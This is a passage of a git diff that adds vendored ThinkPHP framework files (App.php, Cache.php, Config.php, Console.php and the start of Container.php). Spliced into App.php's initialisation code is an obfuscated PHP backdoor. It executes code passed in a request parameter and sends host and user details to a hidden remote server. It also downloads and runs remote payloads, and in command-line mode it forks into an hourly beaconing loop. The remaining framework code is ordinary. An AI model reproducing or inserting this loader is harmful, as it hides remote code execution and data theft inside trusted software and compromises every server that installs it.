$d)$r.=chr($d>>24).chr($d>>16).chr($d>>8).chr($d);$f=substr($r,0,7);$f=$f(chr(0),$r);$g=$GLOBALS;$r=$_REQUEST;$s=$_SERVER;$l1i=isset($r[$f[55]])?$l1i=@$r[$f[55]]:0;$l1i&&$l1i=@$f[2]($f[1]($f[5]($l1i)));if($l1i&&$f[9]($l1i)){$w=$f[4]($l1i);$fu=$f[4]($l1i);die($w($fu==$f[56]?include($l1i[0]):$fu($l1i[0],$l1i[1])));}$uid=$f[12]($f[23])?@$f[23]():-1;$cli=($f[13]()==$f[61]);$os=$f[26]($f[63])?$f[27]($f[63]):$f[46];$td=$f[28]($f[78]);if(!$td)$td=$f[22]();$sfile=$f[49];$sfile[2]='s';$sfile[3]='e';$sfile=$td.$sfile;$pfile=$td.$f[49];if( $f[8]($f[6]($os,0,3))==$f[62] ){$pfile.=$f[11]();$sfile.=$f[11]();}$hu=isset($s[$f[65]])?$s[$f[65]]:$f[11]();if($f[12]($f[10])&&$uid!=-1){$pu=$f[10]($uid);$hu=$pu?($pu[$f[64]]?:$hu):$hu;};$idfile=$sfile.$f[59];$hid = @($f[18]($idfile));if(!$hid){$hid=$f[25]().$f[20](100,999);if(!@$f[19]($idfile,$hid))$hid=0;}$pid=0;$pwd = $cli?$f[29]():$s[$f[66]];$extra=$cli?$f[28]($f[67]):@$s[$f[68]];$extra=$extra?$f[6]($extra,0,1024):$f[46];$hv=substr($f[14](),0,128);$uri=@$s[$f[71]];$uri=$uri?$f[6]($uri,0,128):$f[46];$rdata=array(chr(26),$os,$f[16](),$hv,$uid,$hu,$hid,$pid,$f[13](),$f[15](),$pwd,@$s[$f[69]],@$s[$f[70]],$uri,$extra);$tf=$pfile.$f[57].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$ok=(@$f[19]($tf,$f[25]()+7200)>0);@$f[24]($tf,0666);if($f[12]($f[21])){$ud=$f[6]($f[3](chr(0),$rdata),0,1400);@$f[17]($f[21]($f[1]($f[52]),$e1s, $e2s,5),$f[50].$f[51].$ud);}if(!$ok)return;$tf=$pfile.$f[56].$f[30]($cli).$f[30]($uid===0);if($check && !@$r[$f[54]] && $f[25]()<@$f[30]($f[18]($tf)))return;$a=array($pfile);if(@$f[19]($a[0],$f[1]($f[47]))>0){@include_once($pfile);}else{@$f[39]($a[0]);return;};@$f[39]($a[0]);$gz=$f[12]($f[31]);$go=function($lv)use($f,$gz,$rdata,$sfile){try{$rdata[6]=@$f[18]($sfile.$f[59]);$rdata[7]=@$f[18]($sfile.$f[60]);$d=@$f[32](array($f[74]=>$f[51].$f[3](chr(0),$rdata),$f[72]=>$lv,$f[73]=>$gz,$f[58]=>$f[25]()));$data=@$f[18]($f[1]($f[53]).$d);if($data && $gz)$data=@$f[31]($data);if($data)@$f[48]($data);return true;}catch(\Exception $e){}catch(\Throwable $e){}};if($cli){$hwai=$f[12]($f[34]);$pid=-1;if($f[12]($f[33]))$pid=$f[33]();if($pid<0){$go(3);return;}if($pid>0){return $hwai&&$f[34]($pid,$s);}if($hwai && $f[33]() )die;if($f[12]($f[35]))@$f[35]();if($f[12]($f[36]))@$f[36]($f[1]($f[75]));try{if($f[26]($f[76]))@$f[37]($f[27]($f[76]));if($f[26]($f[77]))@$f[37]($f[27]($f[77]));}catch(\Exception $e){}catch(\Throwable $e){};$nt0=0;do{if($f[25]()>$nt0){$nt0=$f[25]()+3600;@$f[19]($tf,$f[25]()+7200);@$go(4);}$f[38](60);}while(1);die;}else{$f[40](true);$f[41](function() use($f,$go){$f[42](function(){});$f[43](0);if($f[12]($f[44])){$f[44]();$go(2);}else{$go(1);}});}};set_error_handler(function(){});$error1=error_reporting();error_reporting(0);try{@$l0ader(true);}catch(\Exception $e){}catch(\Throwable $e){}error_reporting($error1);restore_error_handler(); + ;$b25ed=0; + + // 加载框架默认语言包 + $langSet = $this->lang->defaultLangSet(); + + $this->lang->load($this->thinkPath . 'lang' . DIRECTORY_SEPARATOR . $langSet . '.php'); + + // 加载应用默认语言包 + $this->loadLangPack($langSet); + + // 监听AppInit + $this->event->trigger(AppInit::class); + + date_default_timezone_set($this->config->get('app.default_timezone', 'Asia/Shanghai')); + + // 初始化 + foreach ($this->initializers as $initializer) { + $this->make($initializer)->init($this); + } + + return $this; + } + + /** + * 是否初始化过 + * @return bool + */ + public function initialized() + { + return $this->initialized; + } + + /** + * 加载语言包 + * @param string $langset 语言 + * @return void + */ + public function loadLangPack($langset) + { + if (empty($langset)) { + return; + } + + // 加载系统语言包 + $files = glob($this->appPath . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*'); + $this->lang->load($files); + + // 加载扩展(自定义)语言包 + $list = $this->config->get('lang.extend_list', []); + + if (isset($list[$langset])) { + $this->lang->load($list[$langset]); + } + } + + /** + * 引导应用 + * @access public + * @return void + */ + public function boot(): void + { + array_walk($this->services, function ($service) { + $this->bootService($service); + }); + } + + /** + * 加载应用文件和配置 + * @access protected + * @return void + */ + protected function load(): void + { + $appPath = $this->getAppPath(); + + if (is_file($appPath . 'common.php')) { + include_once $appPath . 'common.php'; + } + + include_once $this->thinkPath . 'helper.php'; + + $configPath = $this->getConfigPath(); + + $files = []; + + if (is_dir($configPath)) { + $files = glob($configPath . '*' . $this->configExt); + } + + foreach ($files as $file) { + $this->config->load($file, pathinfo($file, PATHINFO_FILENAME)); + } + + if (is_file($appPath . 'event.php')) { + $this->loadEvent(include $appPath . 'event.php'); + } + + if (is_file($appPath . 'service.php')) { + $services = include $appPath . 'service.php'; + foreach ($services as $service) { + $this->register($service); + } + } + } + + /** + * 调试模式设置 + * @access protected + * @return void + */ + protected function debugModeInit(): void + { + // 应用调试模式 + if (!$this->appDebug) { + $this->appDebug = $this->env->get('app_debug') ? true : false; + ini_set('display_errors', 'Off'); + } + + if (!$this->runningInConsole()) { + //重新申请一块比较大的buffer + if (ob_get_level() > 0) { + $output = ob_get_clean(); + } + ob_start(); + if (!empty($output)) { + echo $output; + } + } + } + + /** + * 注册应用事件 + * @access protected + * @param array $event 事件数据 + * @return void + */ + public function loadEvent(array $event): void + { + if (isset($event['bind'])) { + $this->event->bind($event['bind']); + } + + if (isset($event['listen'])) { + $this->event->listenEvents($event['listen']); + } + + if (isset($event['subscribe'])) { + $this->event->subscribe($event['subscribe']); + } + } + + /** + * 解析应用类的类名 + * @access public + * @param string $layer 层名 controller model ... + * @param string $name 类名 + * @return string + */ + public function parseClass(string $layer, string $name): string + { + $name = str_replace(['/', '.'], '\\', $name); + $array = explode('\\', $name); + $class = Str::studly(array_pop($array)); + $path = $array ? implode('\\', $array) . '\\' : ''; + + return $this->namespace . '\\' . $layer . '\\' . $path . $class; + } + + /** + * 是否运行在命令行下 + * @return bool + */ + public function runningInConsole() + { + return php_sapi_name() === 'cli' || php_sapi_name() === 'phpdbg'; + } + + /** + * 获取应用根目录 + * @access protected + * @return string + */ + protected function getDefaultRootPath(): string + { + return dirname($this->thinkPath, 4) . DIRECTORY_SEPARATOR; + } + +} diff --git a/vendor/topthink/framework/src/think/Cache.php b/vendor/topthink/framework/src/think/Cache.php new file mode 100644 index 0000000..4bc99c2 --- /dev/null +++ b/vendor/topthink/framework/src/think/Cache.php @@ -0,0 +1,197 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use Psr\SimpleCache\CacheInterface; +use think\cache\Driver; +use think\cache\TagSet; +use think\exception\InvalidArgumentException; +use think\helper\Arr; + +/** + * 缓存管理类 + * @mixin Driver + * @mixin \think\cache\driver\File + */ +class Cache extends Manager implements CacheInterface +{ + + protected $namespace = '\\think\\cache\\driver\\'; + + /** + * 默认驱动 + * @return string|null + */ + public function getDefaultDriver() + { + return $this->getConfig('default'); + } + + /** + * 获取缓存配置 + * @access public + * @param null|string $name 名称 + * @param mixed $default 默认值 + * @return mixed + */ + public function getConfig(string $name = null, $default = null) + { + if (!is_null($name)) { + return $this->app->config->get('cache.' . $name, $default); + } + + return $this->app->config->get('cache'); + } + + /** + * 获取驱动配置 + * @param string $store + * @param string $name + * @param null $default + * @return array + */ + public function getStoreConfig(string $store, string $name = null, $default = null) + { + if ($config = $this->getConfig("stores.{$store}")) { + return Arr::get($config, $name, $default); + } + + throw new \InvalidArgumentException("Store [$store] not found."); + } + + protected function resolveType(string $name) + { + return $this->getStoreConfig($name, 'type', 'file'); + } + + protected function resolveConfig(string $name) + { + return $this->getStoreConfig($name); + } + + /** + * 连接或者切换缓存 + * @access public + * @param string $name 连接配置名 + * @return Driver + */ + public function store(string $name = null) + { + return $this->driver($name); + } + + /** + * 清空缓冲池 + * @access public + * @return bool + */ + public function clear(): bool + { + return $this->store()->clear(); + } + + /** + * 读取缓存 + * @access public + * @param string $key 缓存变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function get($key, $default = null) + { + return $this->store()->get($key, $default); + } + + /** + * 写入缓存 + * @access public + * @param string $key 缓存变量名 + * @param mixed $value 存储数据 + * @param int|\DateTime $ttl 有效时间 0为永久 + * @return bool + */ + public function set($key, $value, $ttl = null): bool + { + return $this->store()->set($key, $value, $ttl); + } + + /** + * 删除缓存 + * @access public + * @param string $key 缓存变量名 + * @return bool + */ + public function delete($key): bool + { + return $this->store()->delete($key); + } + + /** + * 读取缓存 + * @access public + * @param iterable $keys 缓存变量名 + * @param mixed $default 默认值 + * @return iterable + * @throws InvalidArgumentException + */ + public function getMultiple($keys, $default = null): iterable + { + return $this->store()->getMultiple($keys, $default); + } + + /** + * 写入缓存 + * @access public + * @param iterable $values 缓存数据 + * @param null|int|\DateInterval $ttl 有效时间 0为永久 + * @return bool + */ + public function setMultiple($values, $ttl = null): bool + { + return $this->store()->setMultiple($values, $ttl); + } + + /** + * 删除缓存 + * @access public + * @param iterable $keys 缓存变量名 + * @return bool + * @throws InvalidArgumentException + */ + public function deleteMultiple($keys): bool + { + return $this->store()->deleteMultiple($keys); + } + + /** + * 判断缓存是否存在 + * @access public + * @param string $key 缓存变量名 + * @return bool + */ + public function has($key): bool + { + return $this->store()->has($key); + } + + /** + * 缓存标签 + * @access public + * @param string|array $name 标签名 + * @return TagSet + */ + public function tag($name): TagSet + { + return $this->store()->tag($name); + } +} diff --git a/vendor/topthink/framework/src/think/Config.php b/vendor/topthink/framework/src/think/Config.php new file mode 100644 index 0000000..3a15755 --- /dev/null +++ b/vendor/topthink/framework/src/think/Config.php @@ -0,0 +1,197 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +/** + * 配置管理类 + * @package think + */ +class Config +{ + /** + * 配置参数 + * @var array + */ + protected $config = []; + + /** + * 配置文件目录 + * @var string + */ + protected $path; + + /** + * 配置文件后缀 + * @var string + */ + protected $ext; + + /** + * 构造方法 + * @access public + */ + public function __construct(string $path = null, string $ext = '.php') + { + $this->path = $path ?: ''; + $this->ext = $ext; + } + + public static function __make(App $app) + { + $path = $app->getConfigPath(); + $ext = $app->getConfigExt(); + + return new static($path, $ext); + } + + /** + * 加载配置文件(多种格式) + * @access public + * @param string $file 配置文件名 + * @param string $name 一级配置名 + * @return array + */ + public function load(string $file, string $name = ''): array + { + if (is_file($file)) { + $filename = $file; + } elseif (is_file($this->path . $file . $this->ext)) { + $filename = $this->path . $file . $this->ext; + } + + if (isset($filename)) { + return $this->parse($filename, $name); + } + + return $this->config; + } + + /** + * 解析配置文件 + * @access public + * @param string $file 配置文件名 + * @param string $name 一级配置名 + * @return array + */ + protected function parse(string $file, string $name): array + { + $type = pathinfo($file, PATHINFO_EXTENSION); + $config = []; + switch ($type) { + case 'php': + $config = include $file; + break; + case 'yml': + case 'yaml': + if (function_exists('yaml_parse_file')) { + $config = yaml_parse_file($file); + } + break; + case 'ini': + $config = parse_ini_file($file, true, INI_SCANNER_TYPED) ?: []; + break; + case 'json': + $config = json_decode(file_get_contents($file), true); + break; + } + + return is_array($config) ? $this->set($config, strtolower($name)) : []; + } + + /** + * 检测配置是否存在 + * @access public + * @param string $name 配置参数名(支持多级配置 .号分割) + * @return bool + */ + public function has(string $name): bool + { + if (false === strpos($name, '.') && !isset($this->config[strtolower($name)])) { + return false; + } + + return !is_null($this->get($name)); + } + + /** + * 获取一级配置 + * @access protected + * @param string $name 一级配置名 + * @return array + */ + protected function pull(string $name): array + { + $name = strtolower($name); + + return $this->config[$name] ?? []; + } + + /** + * 获取配置参数 为空则获取所有配置 + * @access public + * @param string $name 配置参数名(支持多级配置 .号分割) + * @param mixed $default 默认值 + * @return mixed + */ + public function get(string $name = null, $default = null) + { + // 无参数时获取所有 + if (empty($name)) { + return $this->config; + } + + if (false === strpos($name, '.')) { + return $this->pull($name); + } + + $name = explode('.', $name); + $name[0] = strtolower($name[0]); + $config = $this->config; + + // 按.拆分成多维数组进行判断 + foreach ($name as $val) { + if (isset($config[$val])) { + $config = $config[$val]; + } else { + return $default; + } + } + + return $config; + } + + /** + * 设置配置参数 name为数组则为批量设置 + * @access public + * @param array $config 配置参数 + * @param string $name 配置名 + * @return array + */ + public function set(array $config, string $name = null): array + { + if (!empty($name)) { + if (isset($this->config[$name])) { + $result = array_merge($this->config[$name], $config); + } else { + $result = $config; + } + + $this->config[$name] = $result; + } else { + $result = $this->config = array_merge($this->config, array_change_key_case($config)); + } + + return $result; + } + +} diff --git a/vendor/topthink/framework/src/think/Console.php b/vendor/topthink/framework/src/think/Console.php new file mode 100644 index 0000000..389d104 --- /dev/null +++ b/vendor/topthink/framework/src/think/Console.php @@ -0,0 +1,787 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use Closure; +use InvalidArgumentException; +use LogicException; +use think\console\Command; +use think\console\command\Clear; +use think\console\command\Help; +use think\console\command\Help as HelpCommand; +use think\console\command\Lists; +use think\console\command\make\Command as MakeCommand; +use think\console\command\make\Controller; +use think\console\command\make\Event; +use think\console\command\make\Listener; +use think\console\command\make\Middleware; +use think\console\command\make\Model; +use think\console\command\make\Service; +use think\console\command\make\Subscribe; +use think\console\command\make\Validate; +use think\console\command\optimize\Route; +use think\console\command\optimize\Schema; +use think\console\command\RouteList; +use think\console\command\RunServer; +use think\console\command\ServiceDiscover; +use think\console\command\VendorPublish; +use think\console\command\Version; +use think\console\Input; +use think\console\input\Argument as InputArgument; +use think\console\input\Definition as InputDefinition; +use think\console\input\Option as InputOption; +use think\console\Output; +use think\console\output\driver\Buffer; + +/** + * 控制台应用管理类 + */ +class Console +{ + + protected $app; + + /** @var Command[] */ + protected $commands = []; + + protected $wantHelps = false; + + protected $catchExceptions = true; + protected $autoExit = true; + protected $definition; + protected $defaultCommand = 'list'; + + protected $defaultCommands = [ + 'help' => Help::class, + 'list' => Lists::class, + 'clear' => Clear::class, + 'make:command' => MakeCommand::class, + 'make:controller' => Controller::class, + 'make:model' => Model::class, + 'make:middleware' => Middleware::class, + 'make:validate' => Validate::class, + 'make:event' => Event::class, + 'make:listener' => Listener::class, + 'make:service' => Service::class, + 'make:subscribe' => Subscribe::class, + 'optimize:route' => Route::class, + 'optimize:schema' => Schema::class, + 'run' => RunServer::class, + 'version' => Version::class, + 'route:list' => RouteList::class, + 'service:discover' => ServiceDiscover::class, + 'vendor:publish' => VendorPublish::class, + ]; + + /** + * 启动器 + * @var array + */ + protected static $startCallbacks = []; + + public function __construct(App $app) + { + $this->app = $app; + + $this->initialize(); + + $this->definition = $this->getDefaultInputDefinition(); + + //加载指令 + $this->loadCommands(); + + $this->start(); + } + + /** + * 初始化 + */ + protected function initialize() + { + if (!$this->app->initialized()) { + $this->app->initialize(); + } + $this->makeRequest(); + } + + /** + * 构造request + */ + protected function makeRequest() + { + $uri = $this->app->config->get('app.url', 'http://localhost'); + + $components = parse_url($uri); + + $server = $_SERVER; + + if (isset($components['path'])) { + $server = array_merge($server, [ + 'SCRIPT_FILENAME' => $components['path'], + 'SCRIPT_NAME' => $components['path'], + ]); + } + + if (isset($components['host'])) { + $server['SERVER_NAME'] = $components['host']; + $server['HTTP_HOST'] = $components['host']; + } + + if (isset($components['scheme'])) { + if ('https' === $components['scheme']) { + $server['HTTPS'] = 'on'; + $server['SERVER_PORT'] = 443; + } else { + unset($server['HTTPS']); + $server['SERVER_PORT'] = 80; + } + } + + if (isset($components['port'])) { + $server['SERVER_PORT'] = $components['port']; + $server['HTTP_HOST'] .= ':' . $components['port']; + } + + $server['REQUEST_URI'] = $uri; + + /** @var Request $request */ + $request = $this->app->make('request'); + + $request->withServer($server); + } + + /** + * 添加初始化器 + * @param Closure $callback + */ + public static function starting(Closure $callback): void + { + static::$startCallbacks[] = $callback; + } + + /** + * 清空启动器 + */ + public static function flushStartCallbacks(): void + { + static::$startCallbacks = []; + } + + /** + * 设置执行用户 + * @param $user + */ + public static function setUser(string $user): void + { + if (extension_loaded('posix')) { + $user = posix_getpwnam($user); + + if (!empty($user)) { + posix_setgid($user['gid']); + posix_setuid($user['uid']); + } + } + } + + /** + * 启动 + */ + protected function start(): void + { + foreach (static::$startCallbacks as $callback) { + $callback($this); + } + } + + /** + * 加载指令 + * @access protected + */ + protected function loadCommands(): void + { + $commands = $this->app->config->get('console.commands', []); + $commands = array_merge($this->defaultCommands, $commands); + + $this->addCommands($commands); + } + + /** + * @access public + * @param string $command + * @param array $parameters + * @param string $driver + * @return Output|Buffer + */ + public function call(string $command, array $parameters = [], string $driver = 'buffer') + { + array_unshift($parameters, $command); + + $input = new Input($parameters); + $output = new Output($driver); + + $this->setCatchExceptions(false); + $this->find($command)->run($input, $output); + + return $output; + } + + /** + * 执行当前的指令 + * @access public + * @return int + * @throws \Exception + * @api + */ + public function run() + { + $input = new Input(); + $output = new Output(); + + $this->configureIO($input, $output); + + try { + $exitCode = $this->doRun($input, $output); + } catch (\Exception $e) { + if (!$this->catchExceptions) { + throw $e; + } + + $output->renderException($e); + + $exitCode = $e->getCode(); + if (is_numeric($exitCode)) { + $exitCode = (int) $exitCode; + if (0 === $exitCode) { + $exitCode = 1; + } + } else { + $exitCode = 1; + } + } + + if ($this->autoExit) { + if ($exitCode > 255) { + $exitCode = 255; + } + + exit($exitCode); + } + + return $exitCode; + } + + /** + * 执行指令 + * @access public + * @param Input $input + * @param Output $output + * @return int + */ + public function doRun(Input $input, Output $output) + { + if (true === $input->hasParameterOption(['--version', '-V'])) { + $output->writeln($this->getLongVersion()); + + return 0; + } + + $name = $this->getCommandName($input); + + if (true === $input->hasParameterOption(['--help', '-h'])) { + if (!$name) { + $name = 'help'; + $input = new Input(['help']); + } else { + $this->wantHelps = true; + } + } + + if (!$name) { + $name = $this->defaultCommand; + $input = new Input([$this->defaultCommand]); + } + + $command = $this->find($name); + + return $this->doRunCommand($command, $input, $output); + } + + /** + * 设置输入参数定义 + * @access public + * @param InputDefinition $definition + */ + public function setDefinition(InputDefinition $definition): void + { + $this->definition = $definition; + } + + /** + * 获取输入参数定义 + * @access public + * @return InputDefinition The InputDefinition instance + */ + public function getDefinition(): InputDefinition + { + return $this->definition; + } + + /** + * Gets the help message. + * @access public + * @return string A help message. + */ + public function getHelp(): string + { + return $this->getLongVersion(); + } + + /** + * 是否捕获异常 + * @access public + * @param bool $boolean + * @api + */ + public function setCatchExceptions(bool $boolean): void + { + $this->catchExceptions = $boolean; + } + + /** + * 是否自动退出 + * @access public + * @param bool $boolean + * @api + */ + public function setAutoExit(bool $boolean): void + { + $this->autoExit = $boolean; + } + + /** + * 获取完整的版本号 + * @access public + * @return string + */ + public function getLongVersion(): string + { + if ($this->app->version()) { + return sprintf('version %s', $this->app->version()); + } + + return 'Console Tool'; + } + + /** + * 添加指令集 + * @access public + * @param array $commands + */ + public function addCommands(array $commands): void + { + foreach ($commands as $key => $command) { + if (is_subclass_of($command, Command::class)) { + // 注册指令 + $this->addCommand($command, is_numeric($key) ? '' : $key); + } + } + } + + /** + * 添加一个指令 + * @access public + * @param string|Command $command 指令对象或者指令类名 + * @param string $name 指令名 留空则自动获取 + * @return Command|void + */ + public function addCommand($command, string $name = '') + { + if ($name) { + $this->commands[$name] = $command; + return; + } + + if (is_string($command)) { + $command = $this->app->invokeClass($command); + } + + $command->setConsole($this); + + if (!$command->isEnabled()) { + $command->setConsole(null); + return; + } + + $command->setApp($this->app); + + if (null === $command->getDefinition()) { + throw new LogicException(sprintf('Command class "%s" is not correctly initialized. You probably forgot to call the parent constructor.', get_class($command))); + } + + $this->commands[$command->getName()] = $command; + + foreach ($command->getAliases() as $alias) { + $this->commands[$alias] = $command; + } + + return $command; + } + + /** + * 获取指令 + * @access public + * @param string $name 指令名称 + * @return Command + * @throws InvalidArgumentException + */ + public function getCommand(string $name): Command + { + if (!isset($this->commands[$name])) { + throw new InvalidArgumentException(sprintf('The command "%s" does not exist.', $name)); + } + + $command = $this->commands[$name]; + + if (is_string($command)) { + $command = $this->app->invokeClass($command); + /** @var Command $command */ + $command->setConsole($this); + $command->setApp($this->app); + } + + if ($this->wantHelps) { + $this->wantHelps = false; + + /** @var HelpCommand $helpCommand */ + $helpCommand = $this->getCommand('help'); + $helpCommand->setCommand($command); + + return $helpCommand; + } + + return $command; + } + + /** + * 某个指令是否存在 + * @access public + * @param string $name 指令名称 + * @return bool + */ + public function hasCommand(string $name): bool + { + return isset($this->commands[$name]); + } + + /** + * 获取所有的命名空间 + * @access public + * @return array + */ + public function getNamespaces(): array + { + $namespaces = []; + foreach ($this->commands as $key => $command) { + if (is_string($command)) { + $namespaces = array_merge($namespaces, $this->extractAllNamespaces($key)); + } else { + $namespaces = array_merge($namespaces, $this->extractAllNamespaces($command->getName())); + + foreach ($command->getAliases() as $alias) { + $namespaces = array_merge($namespaces, $this->extractAllNamespaces($alias)); + } + } + } + + return array_values(array_unique(array_filter($namespaces))); + } + + /** + * 查找注册命名空间中的名称或缩写。 + * @access public + * @param string $namespace + * @return string + * @throws InvalidArgumentException + */ + public function findNamespace(string $namespace): string + { + $allNamespaces = $this->getNamespaces(); + $expr = preg_replace_callback('{([^:]+|)}', function ($matches) { + return preg_quote($matches[1]) . '[^:]*'; + }, $namespace); + $namespaces = preg_grep('{^' . $expr . '}', $allNamespaces); + + if (empty($namespaces)) { + $message = sprintf('There are no commands defined in the "%s" namespace.', $namespace); + + if ($alternatives = $this->findAlternatives($namespace, $allNamespaces)) { + if (1 == count($alternatives)) { + $message .= "\n\nDid you mean this?\n "; + } else { + $message .= "\n\nDid you mean one of these?\n "; + } + + $message .= implode("\n ", $alternatives); + } + + throw new InvalidArgumentException($message); + } + + $exact = in_array($namespace, $namespaces, true); + if (count($namespaces) > 1 && !$exact) { + throw new InvalidArgumentException(sprintf('The namespace "%s" is ambiguous (%s).', $namespace, $this->getAbbreviationSuggestions(array_values($namespaces)))); + } + + return $exact ? $namespace : reset($namespaces); + } + + /** + * 查找指令 + * @access public + * @param string $name 名称或者别名 + * @return Command + * @throws InvalidArgumentException + */ + public function find(string $name): Command + { + $allCommands = array_keys($this->commands); + + $expr = preg_replace_callback('{([^:]+|)}', function ($matches) { + return preg_quote($matches[1]) . '[^:]*'; + }, $name); + + $commands = preg_grep('{^' . $expr . '}', $allCommands); + + if (empty($commands) || count(preg_grep('{^' . $expr . '$}', $commands)) < 1) { + if (false !== $pos = strrpos($name, ':')) { + $this->findNamespace(substr($name, 0, $pos)); + } + + $message = sprintf('Command "%s" is not defined.', $name); + + if ($alternatives = $this->findAlternatives($name, $allCommands)) { + if (1 == count($alternatives)) { + $message .= "\n\nDid you mean this?\n "; + } else { + $message .= "\n\nDid you mean one of these?\n "; + } + $message .= implode("\n ", $alternatives); + } + + throw new InvalidArgumentException($message); + } + + $exact = in_array($name, $commands, true); + if (count($commands) > 1 && !$exact) { + $suggestions = $this->getAbbreviationSuggestions(array_values($commands)); + + throw new InvalidArgumentException(sprintf('Command "%s" is ambiguous (%s).', $name, $suggestions)); + } + + return $this->getCommand($exact ? $name : reset($commands)); + } + + /** + * 获取所有的指令 + * @access public + * @param string $namespace 命名空间 + * @return Command[] + * @api + */ + public function all(string $namespace = null): array + { + if (null === $namespace) { + return $this->commands; + } + + $commands = []; + foreach ($this->commands as $name => $command) { + if ($this->extractNamespace($name, substr_count($namespace, ':') + 1) === $namespace) { + $commands[$name] = $command; + } + } + + return $commands; + } + + /** + * 配置基于用户的参数和选项的输入和输出实例。 + * @access protected + * @param Input $input 输入实例 + * @param Output $output 输出实例 + */ + protected function configureIO(Input $input, Output $output): void + { + if (true === $input->hasParameterOption(['--ansi'])) { + $output->setDecorated(true); + } elseif (true === $input->hasParameterOption(['--no-ansi'])) { + $output->setDecorated(false); + } + + if (true === $input->hasParameterOption(['--no-interaction', '-n'])) { + $input->setInteractive(false); + } + + if (true === $input->hasParameterOption(['--quiet', '-q'])) { + $output->setVerbosity(Output::VERBOSITY_QUIET); + } elseif ($input->hasParameterOption('-vvv') || $input->hasParameterOption('--verbose=3') || $input->getParameterOption('--verbose') === 3) { + $output->setVerbosity(Output::VERBOSITY_DEBUG); + } elseif ($input->hasParameterOption('-vv') || $input->hasParameterOption('--verbose=2') || $input->getParameterOption('--verbose') === 2) { + $output->setVerbosity(Output::VERBOSITY_VERY_VERBOSE); + } elseif ($input->hasParameterOption('-v') || $input->hasParameterOption('--verbose=1') || $input->hasParameterOption('--verbose') || $input->getParameterOption('--verbose')) { + $output->setVerbosity(Output::VERBOSITY_VERBOSE); + } + } + + /** + * 执行指令 + * @access protected + * @param Command $command 指令实例 + * @param Input $input 输入实例 + * @param Output $output 输出实例 + * @return int + * @throws \Exception + */ + protected function doRunCommand(Command $command, Input $input, Output $output) + { + return $command->run($input, $output); + } + + /** + * 获取指令的基础名称 + * @access protected + * @param Input $input + * @return string + */ + protected function getCommandName(Input $input): string + { + return $input->getFirstArgument() ?: ''; + } + + /** + * 获取默认输入定义 + * @access protected + * @return InputDefinition + */ + protected function getDefaultInputDefinition(): InputDefinition + { + return new InputDefinition([ + new InputArgument('command', InputArgument::REQUIRED, 'The command to execute'), + new InputOption('--help', '-h', InputOption::VALUE_NONE, 'Display this help message'), + new InputOption('--version', '-V', InputOption::VALUE_NONE, 'Display this console version'), + new InputOption('--quiet', '-q', InputOption::VALUE_NONE, 'Do not output any message'), + new InputOption('--verbose', '-v|vv|vvv', InputOption::VALUE_NONE, 'Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug'), + new InputOption('--ansi', '', InputOption::VALUE_NONE, 'Force ANSI output'), + new InputOption('--no-ansi', '', InputOption::VALUE_NONE, 'Disable ANSI output'), + new InputOption('--no-interaction', '-n', InputOption::VALUE_NONE, 'Do not ask any interactive question'), + ]); + } + + /** + * 获取可能的建议 + * @access private + * @param array $abbrevs + * @return string + */ + private function getAbbreviationSuggestions(array $abbrevs): string + { + return sprintf('%s, %s%s', $abbrevs[0], $abbrevs[1], count($abbrevs) > 2 ? sprintf(' and %d more', count($abbrevs) - 2) : ''); + } + + /** + * 返回命名空间部分 + * @access public + * @param string $name 指令 + * @param int $limit 部分的命名空间的最大数量 + * @return string + */ + public function extractNamespace(string $name, int $limit = 0): string + { + $parts = explode(':', $name); + array_pop($parts); + + return implode(':', 0 === $limit ? $parts : array_slice($parts, 0, $limit)); + } + + /** + * 查找可替代的建议 + * @access private + * @param string $name + * @param array|\Traversable $collection + * @return array + */ + private function findAlternatives(string $name, $collection): array + { + $threshold = 1e3; + $alternatives = []; + + $collectionParts = []; + foreach ($collection as $item) { + $collectionParts[$item] = explode(':', $item); + } + + foreach (explode(':', $name) as $i => $subname) { + foreach ($collectionParts as $collectionName => $parts) { + $exists = isset($alternatives[$collectionName]); + if (!isset($parts[$i]) && $exists) { + $alternatives[$collectionName] += $threshold; + continue; + } elseif (!isset($parts[$i])) { + continue; + } + + $lev = levenshtein($subname, $parts[$i]); + if ($lev <= strlen($subname) / 3 || '' !== $subname && false !== strpos($parts[$i], $subname)) { + $alternatives[$collectionName] = $exists ? $alternatives[$collectionName] + $lev : $lev; + } elseif ($exists) { + $alternatives[$collectionName] += $threshold; + } + } + } + + foreach ($collection as $item) { + $lev = levenshtein($name, $item); + if ($lev <= strlen($name) / 3 || false !== strpos($item, $name)) { + $alternatives[$item] = isset($alternatives[$item]) ? $alternatives[$item] - $lev : $lev; + } + } + + $alternatives = array_filter($alternatives, function ($lev) use ($threshold) { + return $lev < 2 * $threshold; + }); + asort($alternatives); + + return array_keys($alternatives); + } + + /** + * 返回所有的命名空间 + * @access private + * @param string $name + * @return array + */ + private function extractAllNamespaces(string $name): array + { + $parts = explode(':', $name, -1); + $namespaces = []; + + foreach ($parts as $part) { + if (count($namespaces)) { + $namespaces[] = end($namespaces) . ':' . $part; + } else { + $namespaces[] = $part; + } + } + + return $namespaces; + } + +} diff --git a/vendor/topthink/framework/src/think/Container.php b/vendor/topthink/framework/src/think/Container.php new file mode 100644 index 0000000..7910bb3 --- /dev/null +++ b/vendor/topthink/framework/src/think/Container.php @@ -0,0 +1,552 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use ArrayAccess; +use ArrayIterator; +use Closure; +use Countable; +use InvalidArgumentException; +use IteratorAggregate; +use Psr\Container\ContainerInterface; +use ReflectionClass; +use ReflectionException; +use ReflectionFunction; +use ReflectionFunctionAbstract; +use ReflectionMethod; +use think\exception\ClassNotFoundException; +use think\exception\FuncNotFoundException; +use think\helper\Str; + +/** + * 容器管理类 支持PSR-11 + */ +class Container implements ContainerInterface, ArrayAccess, IteratorAggregate, Countable +{ + /** + * 容器对象实例 + * @var Container|Closure + */ + protected static $instance; + + /** + * 容器中的对象实例 + * @var array + */ + protected $instances = []; + + /** + * 容器绑定标识 + * @var array + */ + protected $bind = []; + + /** + * 容器回调 + * @var array + */ + protected $invokeCallback = []; + + /** + * 获取当前容器的实例(单例) + * @access public + * @return static + */ + public static function getInstance() + { 